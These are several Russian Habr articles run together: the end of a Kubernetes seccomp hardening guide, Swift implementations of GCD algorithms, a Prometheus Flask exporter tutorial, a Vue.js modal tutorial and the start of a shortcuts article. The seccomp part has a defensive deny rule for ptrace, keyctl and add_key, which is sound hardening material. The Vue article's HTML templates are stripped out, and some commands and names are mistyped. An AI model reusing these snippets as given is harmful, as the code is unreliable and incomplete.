"names": [
"arch_prctl",
"sched_yield",
"futex",
"write",
"mmap",
"exit_group",
"madvise",
"rt_sigprocmask",
"getpid",
"gettid",
"tgkill",
"rt_sigaction",
"read",
"getpgrp"
],
"action": "SCMP_ACT_ALLOW"
},
{
"names": [
"add_key",
"keyctl",
"ptrace"
],
"action": "SCMP_ACT_ERRNO"
}
]
}
```
*([medium-mixed-seccomp.json](https://gist.github.com/pjbgf/fa4f7a89937c486d940ac8ccf48379c9#file-medium-mixed-seccomp-json))*
Но помните, что необходимо заблокировать все вызовы, о которых известно, что они не будут использованы, и которые потенциально способны навредить кластеру. Хорошей основой для составления списка является официальная [документация Docker](https://docs.docker.com/engine/security/seccomp/). В ней подробно объясняется, какие системные вызовы заблокированы в профиле по умолчанию и почему.
Впрочем, есть один подвох. Хотя `SCMT_ACT_LOG` поддерживается ядром Linux с конца 2017 года, в экосистему Kubernetes он вошёл лишь сравнительно недавно. Поэтому для использования этого метода понадобятся ядро Linux 4.14 и runC версии не ниже [v1.0.0-rc9](https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc9).
**Совет №5**: Профиль режима аудита для тестирования в production можно создать, комбинируя черный и белый списки, а все исключения записывать в журнал.
6. Используйте белые списки
---------------------------
Формирование белых списков требует дополнительных усилий, поскольку приходится идентифицировать каждый вызов, который может понадобиться приложению, однако этот подход изрядно повышает безопасность:
> *Настоятельно рекомендуется использовать подход на основе белых списков, поскольку он проще и надёжнее. Чёрный список необходимо будет обновлять всякий раз при добавлении потенциально опасного системного вызова (или опасного флага/опции, если они находятся в чёрном списке). Кроме того, часто можно изменить представление параметра, не меняя его суть и тем самым обойти ограничения чёрного списка.*
Для приложений на языке Go я разработал специальный инструмент, который сопровождает приложение и собирает все вызовы, совершенные во время выполнения. Например, для следующего приложения:
```
package main
import "fmt"
func main() {
fmt.Println("test")
}
```
… запустим `gosystract` так:
```
go install https://github.com/pjbgf/gosystract
gosystract --template='{{- range . }}{{printf "\"%s\",\n" .Name}}{{- end}}' application-path
```
… и получим следующий результат:
```
"sched_yield",
"futex",
"write",
"mmap",
"exit_group",
"madvise",
"rt_sigprocmask",
"getpid",
"gettid",
"tgkill",
"rt_sigaction",
"read",
"getpgrp",
"arch_prctl",
```
Пока это лишь пример — подробности об инструментарии будут дальше.
**Совет №6**: Разрешайте только те вызовы, которые вам действительно необходимы, и блокируйте все остальные.
7. Заложите верные основы (или готовьтесь к непредвиденному поведению)
----------------------------------------------------------------------
Ядро будет следить за соблюдением профиля независимо от того, что вы в нём прописали. Даже если это не совсем то, чего хотелось. Например, если заблокировать доступ к вызовам вроде `exit` или `exit_group`, контейнер не сможет правильно завершить работу и даже простая команда типа `echo hi` [подвесит ег](https://github.com/kubernetes/kubernetes/issues/85191)о на неопределённый срок. В результате вы получите высокую загрузку CPU в кластере:
В таких случаях на выручку может прийти утилита `strace` — она покажет, в чём может заключаться проблема:
*`sudo strace -c -p 9331`*
Убедитесь, что профили содержат все системные вызовы, нужные приложению во время работы.
**Совет №7**: Внимательно относитесь к мелочам и проверяйте, что все необходимые системные вызовы включены в белый список.
На этом первая часть цикла статей об использовании seccomp в Kubernetes в духе SecDevOps подходит к концу. В следующих частях мы поговорим о том, почему это важно и как автоматизировать процесс.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «[Безопасность для Docker-контейнеров](https://habr.com/ru/company/flant/blog/474012/)»;
* «[33+ инструмента для безопасности Kubernetes](https://habr.com/ru/company/flant/blog/465141/)»;
* «[Docker и Kubernetes в требовательных к безопасности окружениях](https://habr.com/ru/company/flant/blog/440504/)»;
* «[9 лучших практик по обеспечению безопасности в Kubernetes](https://habr.com/ru/company/flant/blog/436300/)». | https://habr.com/ru/post/481114/ | null | ru | null |
# В очередной раз о НОД, алгоритме Евклида и немного об истории алгоритмов вообще. Конечно, с примерами на Swift
[Алгоритмы](https://en.wikipedia.org/wiki/Algorithm) – одна из центральных тем в [программировании](https://en.wikipedia.org/wiki/Computer_programming), они повсюду (особенно на собеседованиях, ха-ха).
*(Разве можно обойтись в таком посте без «баяна»?)*
Одним из самых известных является так называемый [алгоритм Евклида](https://en.wikipedia.org/wiki/Euclidean_algorithm) – пожалуй, самый распространенный способ нахождения [наибольшего общего делителя (НОД)](https://en.wikipedia.org/wiki/Greatest_common_divisor) двух целых неотрицательных чисел. С него также зачастую любят начинать изучение (и обучение) соответствующих разделов [математики](https://en.wikipedia.org/wiki/Mathematics) и [информатики](https://en.wikipedia.org/wiki/Computer_science).
А [Дональд Кнут](https://en.wikipedia.org/wiki/Donald_Knuth), небезызвестный автор трактата “[Искусство программирования](https://en.wikipedia.org/wiki/The_Art_of_Computer_Programming)” (и не только), и вовсе считает алгоритм первым в истории (по крайней мере, относительно современных определений). Потому что, не смотря на то, что алгоритм был придуман и использовался еще до, собственно, [Евклида](https://en.wikipedia.org/wiki/Euclid), который жил в IV-III вв. до нашей эры (он упоминается уже у [Аристотеля](https://en.wikipedia.org/wiki/Aristotle), жившего веком ранее), Евклид описывает процесс [итеративно](https://en.wikipedia.org/wiki/Iterative_and_incremental_development), что согласуется с современным значением слова.
Само слово “алгоритм” восходит к имени персидского математика [Аль-Хорезми](https://en.wikipedia.org/wiki/Muhammad_ibn_Musa_al-Khwarizmi), жившего примерно в VIII-IX вв. уже нашей эры. А началом его использования в смысле, близком современному, считается уже лишь XX век, точнее – его первые десятилетия, восход информационных технологий.
Алгоритм Евклида
----------------
Любопытства ради предлагаю ознакомиться с евклидовским описанием алгоритма в редактуре Кнута. Оно довольно длинное, поэтому спрятано под катом:
**Описание алгоритма Евклида, близкое к исходному**
> **Предложение.** Для данных двух положительных целых чисел найти их наибольший общий делитель.
>
>
>
> Пусть A и C – два заданных положительных целых числа; требуется найти их НОД. Если число A делится на C, то число C есть общий делитель чисел C и A, поскольку оно делит самое себя. И очевидно, что оно будет и наибольшим делителем, поскольку нет числа большего, чем число C, которое бы делило C.
>
>
>
> Но если C не делит число A, то будем непрерывно вычитать меньшее из чисел A и C из большего до тех пор, пока не получим число, которое нацело делит предыдущее вычитаемое. Это должно рано или поздно произойти, потому что, если разность будет равна единице, то единица будет делить предыдущее вычитаемое.
>
>
>
> Теперь положим, что E – положительный остаток от деления числа A на C; пусть F – положительный остаток от деления числа C на число E и пусть F делит E. Так как F делит E, а E делит C — F, F также делит C — F. Но оно делит и самое себя, поэтому F делит C, а C делит A — E; поэтому F делит также A — E, но оно делит и E; поэтому F делит A. Следовательно F является общим делителем чисел A и C.
>
>
>
> Теперь я утверждаю, что оно является и НОД. Действительно, если F – не наибольший общий делитель чисел A и C, то найдется большее число, которое будет делить оба этих числа. Пусть таким числом будет G.
>
>
>
> Так как число G делит число C, а число C – делит A — E, то G также делит число A — E. Число G делит также все число A, поэтому оно делит и остаток E. Но E делит C — F, поэтому G также делит C — F. А число G также делит все число C, так как оно делит и остаток F; таким образом, большее число делит меньшее, а это невозможно.
>
>
>
> Таким образом, нет такого числа, большего, чем F, которое бы делило A и C; значит, число F является НОД.
>
>
>
> **Следствие.** Это рассуждение делает очевидным предположение, что всякое число, делящее два числа, делит и их НОД. Ч.т.д.
Описание приводит два способа нахождения НОД – вычитанием и делением. Собственно, и в наши дни широко известны эти два способа реализации алгоритма.
Вот пример функции, написанной на [«Swift»](https://swift.org), реализации первого способа:
```
func subtractionGCD(_ firstNumber: Int, _ secondNumber: Int) -> Int {
if let simpleGCD = simpleCasesGCD(firstNumber, secondNumber) {
return simpleGCD
}
var firstNumber = firstNumber
var secondNumber = secondNumber
while firstNumber != 0, secondNumber != 0 {
if firstNumber > secondNumber {
firstNumber = firstNumber - secondNumber
} else {
secondNumber = secondNumber - firstNumber
}
}
return firstNumber + secondNumber // One of them is 0.
}
```
Здесь, переиспользования ради, я вынес в отдельную функцию случаи поиска НОД, когда он известен сразу, без необходимости следования какому-либо алгоритму:
```
func simpleCasesGCD(_ firstNumber: Int, _ secondNumber: Int) -> Int? {
if firstNumber == secondNumber {
return firstNumber // Any.
}
if firstNumber == 0 {
return secondNumber
}
if secondNumber == 0 {
return firstNumber
}
return nil
}
```
(Если два числа равны, то, естественно, их НОД также равен им. Если какое-то из чисел равно нулю, то НОД будет равняться второму числу, т.к. ноль делится любым числом (с результатом, понятное дело, тоже ноль).)
В качестве входных данных могут использоваться только неотрицательные значения. Соответственно, для отрицательных можно использовать те же методы, но взяв числа по модулю. (Да, общий делитель может быть и отрицательным, но мы ищем именно НОД, а положительные числа, очевидно, всегда больше отрицательных.)
А вот так может выглядеть реализация версии алгоритма делением:
```
func divisionGCD(_ firstNumber: Int, _ secondNumber: Int) -> Int {
if let simpleGCD = simpleCasesGCD(firstNumber, secondNumber) {
return simpleGCD
}
var firstNumber = firstNumber
var secondNumber = secondNumber
while firstNumber != 0, secondNumber != 0 {
if firstNumber > secondNumber {
firstNumber = firstNumber % secondNumber
} else {
secondNumber = secondNumber % firstNumber
}
}
return firstNumber + secondNumber // One of them is 0.
}
```
Вторая версия в наши дни считается предпочтительней, так как содержит в себе, в среднем, ощутимо меньшее количество шагов. Тем не менее, во времена, когда компьютеры были большие и медленные, операция деления могла быть сама по себе сложной процедурой. И тогда первая версия алгоритма могла оказаться эффективней.
Чтобы немного их сравнить, я произвел несколько замеров с использованием любимого мной метода [`measure(_:)`](https://developer.apple.com/documentation/xctest/xctestcase/1496290-measure) класса [`XCTestCase`](https://developer.apple.com/documentation/xctest/xctestcase) «нативного» фреймворка для тестирования кода в [Xcode](https://developer.apple.com/xcode/)-проектах [`XCTest`](https://developer.apple.com/documentation/xctest).
В качестве входных данных я использовал массив пар случайных чисел. Замеры производились, естественно, с использованием одного и того же массива для каждого способа. Разброс чисел для пар я взял от нуля до 9999. Замеры производились на количестве вычислений (пар чисел): одно, десять, 100, 1000, 10000, 100000, 1000000 и 10000000. Последнее заставляло ожидать результата уже несколько минут, поэтому на нем я решил остановиться.
Вот простой код генерации входных данных:
```
let pairs = (0..<100).map { _ in (Int.random(in: 0..<10000), Int.random(in: 0..<10000)) } // Generates 100 pairs.
```
Сам замер выглядит, например, так:
```
func testSubstractionGCDPerformance() {
measure() {
_ = pairs.map { substractionGCD($0, $1) }
}
}
```
А вот так выглядят результаты запуска на моем компьютере:
*(Subtraction – вычитание, division – деление.)*
В общем, очень хорошо видно, как сильно на современных компьютерах проигрывает метод вычитания.
### «Улучшенная» версия алгоритма Евклида
В литературе можно встретить версию алгоритма, в которой одно из чисел на каждом шаге вместо остатка от деления на второе заменяется на разность между этим отстатком и вторым числом, но только в случае, если остаток от деления больше половины второго числа. Реализация этой версии может выглядеть так:
```
func improvedDivisionGCD(_ firstNumber: Int, _ secondNumber: Int) -> Int {
if let simpleGCD = simpleCasesGCD(firstNumber, secondNumber) {
return simpleGCD
}
var firstNumber = firstNumber
var secondNumber = secondNumber
while firstNumber != 0, secondNumber != 0 {
if firstNumber > secondNumber {
let firstNumberClaim = firstNumber % secondNumber
if firstNumberClaim > secondNumber / 2 {
firstNumber = abs(firstNumberClaim - secondNumber)
} else {
firstNumber = firstNumberClaim
}
} else {
let secondNumberClaim = secondNumber % firstNumber
if secondNumberClaim > firstNumber / 2 {
secondNumber = abs(secondNumberClaim - firstNumber)
} else {
secondNumber = secondNumberClaim
}
}
}
return firstNumber + secondNumber // One of them is 0.
}
```
Такая модификация сокращает количество шагов алгоритма, но, судя по результатам замеров на моем компьютере, дополнительные вычисления и проверки на каждом шаге, нейтрализуют это преимущество и даже более:
*(Improved – «улучшенная» версия.)*
### Еще немного о значимости алгоритма Евклида
Алгоритм имеет также геометрическую версию (для нахождения наибольшей меры двух отрезков).
Алгоритм был, конечно, обощен и для нахождения НОД любого количества чисел, не только двух. В двух словах идея такова: если обозначить функцию поиска НОД двух чисел как gcd(a, b), то, скажем, НОД трех чисел gcd(a, b, c) равен gcd(gcd(a, b), c). И так далее, для любого количества чисел НОД находится последовательным вычислением НОД НОД-а предыдущей пары чисел и следующего числа. Хотя, конечно, это касается поиска НОД вообще, а не только алгоритма Евклида.
Существует также обощение алгоритма для нахождения НОД полиномов. Но это уже выходит за рамки этого несложного поста, а в некоторой степени, и моих познаний в математике.
### Сложность алгоритма Евклида
Временная сложность алгоритма исследовалась давно, не быстро и гораздо более учеными мужами, чем ваш покорный слуга. Тем не менее, вопрос давно закрыт и ответ получен. Собственно, еще в середине позапрошлого века. [Габриэлем Ламе](https://en.wikipedia.org/wiki/Gabriel_Lam%C3%A9).
Если коротко, то ответ формулируется, собственно, теоремой Ламе, связанной с этим алгоритмом. Количество шагов алгоритма будет равно порядковому номеру ближайшего большего [числа Фибоначчи](https://en.wikipedia.org/wiki/Fibonacci_number) наименьшему из двух чисел входных параметров минус 2. Оперируя чуть более традиционно-математическими обозначениями, то если u > v (и v > 1), то число проходов алгоритма будет равняться n — 2 при v < Fn (Fn – это некое ближайшее v число Фибоначчи, а n – это его порядковый номер).
Числа Фибоначчи растут экспоненциально, соответственно, имеем логарифмическую функцию времени выполнения алгоритма (от меньшего из двух входных чисел).
Те же самые выкладки показывают, что наихужшие для алгоритма входные данные – это два последовательных числа Фибоначчи.
Бинарный метод поиска НОД
-------------------------
Говоря о поиске НОД, стоит быть упомянутым алгоритм, предложенный уже в 60-е годы прошлого столетия неким Джозефом Стейном, о котором я не нашел в Сети вообще никакой информации. Он (алгоритм) ориентирован на [двоичную арифметику](https://en.wikipedia.org/wiki/Binary_number) и не содержит операций деления. Алгоритм оперирует только проверками четности и делением пополам, что осуществимо возможностями одной лишь бинарной арифметики.
Алгоритм основывается на четырех фактах:
1. Если u и v оба четны, то gcd(u, v) = 2 \* gcd(u / 2, v / 2);
2. Если u четно, а v – нет, gcd(u, v) = gcd(u / 2, v);
3. gcd(u, v) = gcd(u — v, v) (это следует из алгоритма Евклида);
4. Если u и v оба нечетны, то u — v – четно и |u — v| < max(u, v)
[На «Wikipedia»](https://en.wikipedia.org/wiki/Binary_GCD_algorithm) можно посмотреть рекурсивную версию алгоритма (на современных языках программирования записывается в несколько строк), я не стал ее переписывать на «Swift». А здесь я приведу вариант итеративной реализации:
```
func binaryGCD(_ firstNumber: Int, _ secondNumber: Int) -> Int {
if let simpleGCD = simpleCasesGCD(firstNumber, secondNumber) {
return simpleGCD
}
var firstNumber = firstNumber
var secondNumber = secondNumber
var shift = 0
while (firstNumber | secondNumber) & 1 == 0 {
shift += 1
firstNumber >>= 1
secondNumber >>= 1
}
while firstNumber & 1 == 0 {
firstNumber >>= 1
}
repeat {
while secondNumber & 1 == 0 {
secondNumber >>= 1
}
if firstNumber > secondNumber {
swap(&firstNumber, &secondNumber)
}
secondNumber -= firstNumber
} while secondNumber != 0
return firstNumber << shift
}
```
Сделав замеры на тех же данных, к сожалению, этот мудреный алгоритм на моем компьютере не оправдал возложенных на него надежд. Конечно, он все еще работает в два раза быстрее евклидова алогоритма вычитанием, но заметно уступает классической его версии с делением. Полная таблица сводных данных:
*(Binary – бинарный алгоритм.)*
(Не исключаю, что алгоритм можно записать более эффективно, чем это сделал я, и это повлияет на результат, но на что же нам тогда нужны компиляторы?!)
Кстати, этот алгоритм, безусловно, получивший свои 15 минут славы уже в век информационных технологий (в более раннюю его часть, чем текущая), был известен еще в Древнем Китае. Его описание обнаружено в трудах, датируемых I в. н.э. Конечно, в терминах вроде «половинного деления» и вычитания. А также в контексте сокращения дробей.
Заключение
----------
Честно говоря, этим простеньким «исследованием» я не собирался ничего доказывать и не хотел делать какие-то революционные умозаключения (и ведь не сделал же!). Я всего лишь хотел удовлетворить свое любопытство, посмотреть на работу разных подходов для решения классической задачи и слегка размять пальцы. Тем не менее, я надеюсь, наблюдать результаты было любопытно и вам! | https://habr.com/ru/post/464949/ | null | ru | null |
# Мониторинг микросервисов Flask с помощью Prometheus
Пара строк кода и ваше приложение генерирует метрики, вау!
----------------------------------------------------------
Для того что бы понять как работает prometheus\_*flask\_*exporter достаточно минимального примера:
```
from flask import Flask
from prometheus_flask_exporter import PrometheusMetrics
app = Flask(__name__)
metrics = PrometheusMetrics(app)
@app.route('/')
def main():
return 'OK'
```
Это все что нужно для начала! Добавив импорт и строку для инициализации **PrometheusMetrics**, вы получите метрики **продолжительности запросов** и **счетчики запросов**, отображаемые в конечной точке ***/metrics*** приложения Flask, в котором оно зарегистрировано, а также все метрики по умолчанию, которые вы получаете из базовой [клиентской библиотеки Prometheus](https://github.com/prometheus/client_python).
Вы можете найти [простой в использовании пример](https://github.com/rycus86/prometheus_flask_exporter/tree/master/examples/sample-signals) в репозитории GitHub, который запускает экземпляр [Prometheus](https://prometheus.io/) и [Grafana](https://grafana.com/) вместе с демонстрационным приложением для генерации метрик, которые будут выглядеть примерно так:
Вы также найдете список показателей в [README](https://github.com/rycus86/prometheus_flask_exporter/tree/master/examples/sample-signals) примера, которые отображаются на панели управления, вместе с запросами Prometheus, которые заполняют панели.
Настройка
---------
В библиотеке есть множество опций конфигурации, посмотрите в [README](https://github.com/rycus86/prometheus_flask_exporter/blob/master/README.md) проекта их примеры с кратким объяснением.
Базовая конфигурация показана вверху. Просто создайте экземпляр **PrometheusMetrics**, назовем его ***metrics***, а затем с его помощью определите дополнительные метрики, которые вы хотите собирать, декорировав функции:
* `@metrics.counter(..)`
* `@metrics.gauge(..)`
* `@metrics.summary(..)`
* `@metrics.histogram(..)`
Счетчики подсчитывают вызовы, а остальные собирают метрики в зависимости от продолжительности этих вызовов. Вы можете определить метки для каждого из них, потенциально используя свойства запроса или ответа. Например:
```
from flask import Flask, request
from prometheus_flask_exporter import PrometheusMetrics
app = Flask(__name__)
# group by endpoint rather than path
metrics = PrometheusMetrics(app, group_by='endpoint')
@app.route('/collection/:collection_id/item/:item_id')
@metrics.counter(
'cnt_collection', 'Number of invocations per collection', labels={
'collection': lambda: request.view_args['collection_id'],
'status': lambda resp: resp.status_code
})
def get_item_from_collection(collection_id, item_id):
pass
```
В приведенном выше примере нажатие на конечную точку ***/collection/10002/item/76*** приведет к увеличению счетчика, например ***cnt\_collection{collection = "10002", status = "200"}***, плюс вы получите метрики по умолчанию (для каждой конечной точки в этом примере ) из библиотеки по умолчанию:
* `flask_http_request_duration_seconds` - Продолжительность HTTP-запроса в секундах для всех запросов Flask по методу, пути и статусу
* `flask_http_request_total` - Общее количество HTTP-запросов по методам и статусам
Есть варианты пропустить отслеживание определенных конечных точек, зарегистрировать дополнительные метрики по умолчанию или пропустить те, что указаны выше, или применить одну и ту же настраиваемую метрику к нескольким конечным точкам. Ознакомьтесь с [README](https://github.com/rycus86/prometheus_flask_exporter/blob/master/README.md) проекта, чтобы узнать, что доступно.
```
app = Flask(__name__)
metrics = PrometheusMetrics(app)
@app.route('/')
def main():
pass # requests tracked by default
@app.route('/skip')
@metrics.do_not_track()
def skip():
pass # default metrics are not collected
# custom metric to be applied to multiple endpoints
common_counter = metrics.counter(
'by_endpoint_counter', 'Request count by endpoints',
labels={'endpoint': lambda: request.endpoint}
)
@app.route('/common/one')
@common_counter
def endpoint_one():
pass # tracked by the custom and the default metrics
@app.route('/common/two')
@common_counter
def endpoint_two():
pass # also tracked by the custom and the default metrics
# register additional default metrics
metrics.register_default(
metrics.counter(
'by_path_counter', 'Request count by request paths',
labels={'path': lambda: request.path}
)
)
```
В библиотеке есть удобные расширения для популярных многопроцессорных библиотек, таких как uWSGI и Gunicorn. Вы также можете найти небольшие примеры целевых вариантов использования, в том числе многопроцессорных.
Сбор метрик
-----------
Как упоминалось выше, библиотека по умолчанию предоставляет конечную точку ***/metrics*** в приложении Flask, которая может служить целью для [сборщика Prometheus](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config).
В приведенном выше примере с дашбордом вы можете нацелить свой Prometheus на приложение Flask с настройками по умолчанию с такой конфигурацией:
```
scrape_configs:
- job_name: 'example'
dns_sd_configs:
- names: ['app']
port: 5000
type: A
refresh_interval: 5s
```
Смотрите полный пример в [репозитории GitHub](https://github.com/rycus86/prometheus_flask_exporter/blob/master/examples/sample-signals/prometheus/config.yml). Это предполагает, что Prometheus может найти ваши экземпляры приложения Flask на ***http://app:5000/metrics***, где имя домена приложения может потенциально разрешаться на несколько IP-адресов, например, при работе в [Kubernetes](https://kubernetes.io/ru/) или [Docker Swarm](https://docs.docker.com/engine/swarm/).
Если такое раскрытие конечной точки метрик вам не подходит, возможно, потому что вы не хотите разрешать внешний доступ к ней, вы можете легко отключить ее, передав ***path=None*** при создании экземпляра ***PrometheusMetrics***.
```
from flask import Flask, request
from prometheus_flask_exporter import PrometheusMetrics
app = Flask(__name__)
metrics = PrometheusMetrics(app, path=None)
...
metrics.start_http_server(5099)
```
Затем вы можете использовать ***start\_http\_server(port)***, чтобы открыть эту конечную точку на другом HTTP-порту, ***5099*** в приведенном выше примере. В качестве альтернативы, если вас устраивает то, что конечная точка находится в том же приложении Flask, но вам нужно изменить ее путь от ***/metrics***, вы можете либо передать другой URI в качестве параметра пути, либо использовать ***register\_endpoint(..)***, чтобы установить это позже.
Ссылки
------
* [rycus86/prometheus\_flask\_exporter](https://github.com/rycus86/prometheus_flask_exporter) - Этот экспортер флаконов для Prometheus
* [prometheus-flask-exporter README](https://github.com/rycus86/prometheus_flask_exporter/blob/master/README.md) - Использование, примеры и параметры конфигурации
* [prometheus-flask-exporter examples](https://github.com/rycus86/prometheus_flask_exporter/tree/master/examples) - Примеры настройки мониторинга приложений Flask разными способами
* [prometheus-flask-exporter on PyPI](https://pypi.python.org/pypi/prometheus-flask-exporter) - Этот проект на PyPI
* [prometheus/client\_python](https://github.com/prometheus/client_python) - Официальная клиентская библиотека Prometheus для Python
Если вы решите попробовать, не стесняйтесь откройте issue на GitHub или оставлять свои комментарии, отзывы и предложения!
Спасибо!
-------- | https://habr.com/ru/post/518122/ | null | ru | null |
# Создание модального компонента с помощью Vue.js
В этой статье вы узнаете, как с Vue.js создать переиспользуемый компонент модального окна с использованием анимированных переходов и слотов.
### Определение структуры шаблона
Начнем с определения нашего шаблона. Нам понадобится **div** для заднего плана (тени), **div** для самого модального окна и некоторые элементы, для определения его структуры:
```
```
Обратите внимание на использование слотов? Мы могли бы использовать входные параметры (props) для создания заголовка (header), тела (body) и футера (footer), но использование слотов даст нам большую гибкость.
[Слоты](https://ru.vuejs.org/v2/guide/components.html#%D0%A0%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82%D0%B0-%D1%81%D0%BB%D0%BE%D1%82%D0%B0%D0%BC%D0%B8) позволяют нам легко использовать одно и то же модальное окно с различными типами содержимого тела нашего компонента. Мы можем использовать модальное окно, чтобы показать простой текст, но мы можем захотеть повторно использовать то же модальное окно для вывода формы, чтобы отправить запрос. Хотя входящих параметров (props) обычно достаточно для создания компонента, предоставление HTML через входящий параметр потребует от нас использовать его через директиву v-html для рендеринга — что может привести к [XSS-атакам](https://ru.vuejs.org/v2/api/#v-html).
Здесь мы используем именованные слоты, это дает возможность использовать более одного слота в одном компоненте.
Когда мы определяем именованный слот, все, что мы идентифицируем с этим именем, будет отображаться вместо исходного слота — назовем этот исходный слот значением по умолчанию, как placeholder в input.
Подобно placeholder, слот может также иметь контент по умолчанию, который будет отображаться в случае, если мы его не предоставим.
Поскольку предоставленный контент полностью заменяет **‹slot›** тег, чтобы гарантировать, что наши секции header, body и footer имеют требуемые классы, нам нужно обернуть каждый слот в соответствующий элемент с нужными классами.
Давайте установим некоторые значения по умолчанию для слотов, их элементов-оберток и начального CSS, чтобы сделать все это похожим на базовое модальное окно.
```
export default {
name: 'modal',
methods: {
close() {
this.$emit('close');
},
},
};
This is the default tile!
x
I'm the default body!
I'm the default footer!
Close me!
.modal-backdrop {
position: fixed;
top: 0;
bottom: 0;
left: 0;
right: 0;
background-color: rgba(0, 0, 0, 0.3);
display: flex;
justify-content: center;
align-items: center;
}
.modal {
background: #FFFFFF;
box-shadow: 2px 2px 20px 1px;
overflow-x: auto;
display: flex;
flex-direction: column;
}
.modal-header,
.modal-footer {
padding: 15px;
display: flex;
}
.modal-header {
border-bottom: 1px solid #eeeeee;
color: #4AAE9B;
justify-content: space-between;
}
.modal-footer {
border-top: 1px solid #eeeeee;
justify-content: flex-end;
}
.modal-body {
position: relative;
padding: 20px 10px;
}
.btn-close {
border: none;
font-size: 20px;
padding: 20px;
cursor: pointer;
font-weight: bold;
color: #4AAE9B;
background: transparent;
}
.btn-green {
color: white;
background: #4AAE9B;
border: 1px solid #4AAE9B;
border-radius: 2px;
}
```
И мы сделали очень простую версию компонента модального окна!
### Добавление анимированных переходов
Обратите внимание, как модальное окно резко открывается? Мы можем сделать более плавным ввод / вывод окна, используя анимированный переход.
Vue предоставляет компонент-оболочку **‹transition›**, который позволяет нам добавлять анимированные переходы для появления и исчезновения любого элемента HTML или компонента Vue, и позволяет использовать как CSS классы, так и JavaScript хуки.
Каждый раз, когда компонент или элемент, завернутый в елемент **‹transition›**, вставляется или удаляется, Vue проверяет, имеет ли данный элемент CSS-переходы и будет добавлять или удалять их в нужное время. То же самое верно и для JavaScript-хуков, но для нашего случая мы будем использовать только CSS.
Когда элемент добавляется или удаляется, для перехода ввода / вывода применяются [шесть классов](https://ru.vuejs.org/v2/guide/transitions.html#%D0%9A%D0%BB%D0%B0%D1%81%D1%81%D1%8B-%D0%BF%D0%B5%D1%80%D0%B5%D1%85%D0%BE%D0%B4%D0%BE%D0%B2). Каждый из них будет иметь префикс имени перехода. В [этом руководстве](https://alligator.io/vuejs/understanding-transitions/) вы найдете подробное объяснение того, как работают переходы.
Сначала добавим елемент **‹transition›** к нашему модальному окну:
```
...
```
Следом добавим CSS-классы для изменения прозрачности — для плавного появления / исчезновения нашего окна:
```
.modal-fade-enter,
.modal-fade-leave-active {
opacity: 0;
}
.modal-fade-enter-active,
.modal-fade-leave-active {
transition: opacity .5s ease
}
```
Теперь наш компонент модального окна открывается и закрывается гладко!
### Делаем модальное окно более доступным
Единственное, чего не хватает — превратить наш компонент в более доступный для людей с ограниченными возможностями.
Мы можем достичь этого, используя **aria**-атрибуты.
Добавление **role=«dialog»** поможет вспомогательному программному обеспечению идентифицировать наш компонент как диалоговое (модальное) окно приложения, которое отделено от остальной части пользовательского интерфейса. Хотя добавление роли диалога полезно, этого недостаточно, чтобы сделать его доступным, мы должны соответствующим образом пометить его. Мы можем достичь этого через **aria-labelledby** и **aria-describedb**y атрибуты. И не забываем также отметить наши кнопки закрытия!
Окончательная версия нашего модального компонента теперь должна выглядеть так:
```
export default {
name: 'modal',
methods: {
close() {
this.$emit('close');
},
},
};
This is the default tile!
x
I'm the default body!
I'm the default footer!
Close me!
.modal-backdrop {
position: fixed;
top: 0;
bottom: 0;
left: 0;
right: 0;
background-color: rgba(0, 0, 0, 0.3);
display: flex;
justify-content: center;
align-items: center;
}
.modal {
background: #FFFFFF;
box-shadow: 2px 2px 20px 1px;
overflow-x: auto;
display: flex;
flex-direction: column;
}
.modal-header,
.modal-footer {
padding: 15px;
display: flex;
}
.modal-header {
border-bottom: 1px solid #eeeeee;
color: #4AAE9B;
justify-content: space-between;
}
.modal-footer {
border-top: 1px solid #eeeeee;
justify-content: flex-end;
}
.modal-body {
position: relative;
padding: 20px 10px;
}
.btn-close {
border: none;
font-size: 20px;
padding: 20px;
cursor: pointer;
font-weight: bold;
color: #4AAE9B;
background: transparent;
}
.btn-green {
color: white;
background: #4AAE9B;
border: 1px solid #4AAE9B;
border-radius: 2px;
}
```
### Использование компонента модального окна в нашем приложении
Теперь мы можем использовать наш компонент, включив его в наше приложение. Вы так же можете попробовать компонент в действии здесь — [codepen](https://codepen.io/alligatorio/pen/MrdLRy).
```
import modal from './components/modal.vue';
export default {
name: 'app',
components: {
modal,
},
data () {
return {
isModalVisible: false,
};
},
methods: {
showModal() {
this.isModalVisible = true;
},
closeModal() {
this.isModalVisible = false;
}
},
};
Open Modal!
```
P.S. Эта статья — [перевод этой забугорной.](https://alligator.io/vuejs/vue-modal-component/) В комментарии ниже я объяснил, как так получилось.
P.S.S Сделал перевод статьи человечным. | https://habr.com/ru/post/349306/ | null | ru | null |
# [В закладки] Кунг-фу на клавиатуре. Искусство сочетать клавиши
> Сочетания клавиш для тех, кто хочет войти в IT и не только.
>
>
**Содержание**
* [Базовые сочетания](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%B1%D0%B0%D0%B7%D0%BE%D0%B2%D1%8B%D0%B5-%D1%81%D0%BE%D1%87%D0%B5%D1%82%D0%B0%D0%BD%D0%B8%D1%8F)
+ [Графика](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D0%BA%D0%B0)
+ [Терминал Linux](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D1%82%D0%B5%D1%80%D0%BC%D0%B8%D0%BD%D0%B0%D0%BB-linux)
* [Windows](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#windows)
+ [Сочетания](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D1%81%D0%BE%D1%87%D0%B5%D1%82%D0%B0%D0%BD%D0%B8%D1%8F)
+ [Проводник](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D0%BF%D1%80%D0%BE%D0%B2%D0%BE%D0%B4%D0%BD%D0%B8%D0%BA)
+ [Утилиты](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#%D1%83%D1%82%D0%B8%D0%BB%D0%B8%D1%82%D1%8B)
* [Chrome](https://gist.github.com/kotano/ea9664eb0b97a1b1d87bef444b318176#chrome)
